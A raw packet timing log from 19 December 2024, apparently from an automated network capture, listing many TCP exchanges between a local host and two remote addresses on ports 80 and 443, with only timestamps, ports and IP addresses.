Dec 19, 2024 16:10:33.135956049 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.271759033 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.271823883 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.271929979 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.272222042 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.272269964 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.272334099 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.273051977 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.273144007 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.273185015 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.273389101 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.273432970 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.274143934 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.274211884 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.274312019 CET	443	49903	149.154.167.99	192.168.2.6
Dec 19, 2024 16:10:33.274339914 CET	443	49903	149.154.167.99	192.168.2.6
Dec 19, 2024 16:10:33.274368048 CET	49903	443	192.168.2.6	149.154.167.99
Dec 19, 2024 16:10:33.274384022 CET	443	49903	149.154.167.99	192.168.2.6
Dec 19, 2024 16:10:33.274416924 CET	443	49903	149.154.167.99	192.168.2.6
Dec 19, 2024 16:10:33.274431944 CET	49903	443	192.168.2.6	149.154.167.99
Dec 19, 2024 16:10:33.274431944 CET	49903	443	192.168.2.6	149.154.167.99
Dec 19, 2024 16:10:33.274435997 CET	443	49903	149.154.167.99	192.168.2.6
Dec 19, 2024 16:10:33.274458885 CET	49903	443	192.168.2.6	149.154.167.99
Dec 19, 2024 16:10:33.274486065 CET	49903	443	192.168.2.6	149.154.167.99
Dec 19, 2024 16:10:33.279642105 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.279686928 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.279759884 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.279834986 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.280282974 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.280296087 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.280323029 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.280337095 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.281335115 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.281347036 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.281377077 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.284811974 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.284822941 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.284841061 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.284848928 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.284851074 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.284851074 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.284879923 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.284889936 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.285264969 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.285341024 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.285434961 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.285547972 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.286276102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.286313057 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.286423922 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.286457062 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.287242889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.287393093 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.287417889 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.287439108 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.288376093 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.288413048 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.288446903 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.288539886 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.288544893 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.288558960 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.288593054 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.289550066 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.289563894 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.289592981 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.289613962 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.290343046 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.290370941 CET	49903	443	192.168.2.6	149.154.167.99
Dec 19, 2024 16:10:33.290395975 CET	443	49903	149.154.167.99	192.168.2.6
Dec 19, 2024 16:10:33.290396929 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.290827036 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.290868044 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.290896893 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.290930986 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.291028976 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.291074038 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.292016029 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.292027950 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.292062044 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.292079926 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.292891979 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.292905092 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.292972088 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.292972088 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.293855906 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.294116974 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.294171095 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.294816017 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.294842958 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.294861078 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.294985056 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.295751095 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.295790911 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.296114922 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.296204090 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.296724081 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.296793938 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.296909094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.296977043 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.297780037 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.297827959 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.297838926 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.297913074 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.300004959 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.300054073 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.300147057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.300184011 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.300589085 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.300694942 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.300731897 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.301522970 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.301599026 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.301609993 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.301672935 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.302424908 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.302505970 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.302875042 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.302915096 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.302918911 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.303014040 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.306968927 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.306981087 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.306993961 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.307005882 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.307014942 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.307018042 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.307030916 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.307034969 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.307073116 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.307409048 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.307656050 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.307724953 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.307763100 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.308680058 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.308715105 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.308727980 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.308746099 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.309561968 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.309607029 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.309715986 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.309771061 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.310594082 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.310611010 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.310646057 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.310672045 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.311688900 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.311707020 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.311734915 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.311748028 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.312613010 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.312659979 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.312746048 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.312860966 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.313564062 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.313582897 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.313626051 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.314528942 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.314548969 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.314598083 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.314598083 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.315500021 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.315557003 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.315650940 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.315799952 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.316495895 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.316570044 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.316637993 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.316708088 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.317322016 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.317362070 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.317452908 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.317492962 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.318458080 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.318476915 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.318528891 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.318550110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.319431067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.319480896 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.319565058 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.319607019 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.320368052 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.320394993 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.320421934 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.320455074 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.321654081 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.321671963 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.321707964 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.321719885 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.322647095 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.322698116 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.322798967 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.322835922 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.323530912 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.323570013 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.323848009 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.323913097 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.324549913 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.324565887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.324634075 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.324634075 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.324873924 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.324887991 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.324911118 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.324929953 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.325579882 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.325654984 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.325716972 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.325759888 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.327558041 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.327620983 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.327694893 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.327729940 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.328485012 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.328510046 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.328552008 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.329318047 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.329329014 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.329400063 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.329400063 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.465034962 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.465135098 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.465137959 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.465239048 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.465320110 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.465482950 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.465519905 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.466485977 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.466535091 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.466665983 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.466922998 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.467297077 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.467341900 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.472744942 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.472784042 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.473063946 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.473095894 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.473267078 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.473382950 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.473419905 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.473712921 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.474383116 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.474396944 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.474421978 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.474435091 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.475359917 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.475400925 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.475689888 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.475703001 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.475744009 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.475759029 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.476660967 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.476699114 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.476845026 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.476881027 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.477493048 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.477540016 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.477682114 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.477724075 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.478547096 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.478705883 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.478760958 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.479624033 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.479636908 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.479708910 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.479708910 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.480628967 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.480734110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.480799913 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.480834007 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.481802940 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.481817007 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.481867075 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.481880903 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.482470036 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.482511044 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.482656002 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.482695103 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.483588934 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.483720064 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.483757019 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.484128952 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.484594107 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.484617949 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.484637976 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.484653950 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.485603094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.485656977 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.485779047 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.485899925 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.486582994 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.486629963 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.486761093 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.486828089 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.487425089 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.487437963 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.487476110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.488267899 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.488287926 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.488322020 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.488334894 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.489130974 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.489145041 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.489170074 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.489186049 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.489907026 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.490009069 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.490082979 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.490118980 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.491036892 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.491179943 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.491214037 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.491249084 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.493037939 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.493096113 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.493210077 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.493566990 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.493608952 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.493613958 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.493622065 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.493666887 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.493702888 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.493880987 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.494672060 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.494716883 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.496341944 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.496424913 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.496777058 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.496815920 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.497728109 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.497783899 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.497932911 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.498014927 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.498255968 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.498269081 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.498306990 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.498572111 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.498584986 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.498605967 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.498624086 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.499612093 CET	80	49881	31.41.244.11	192.168.2.6
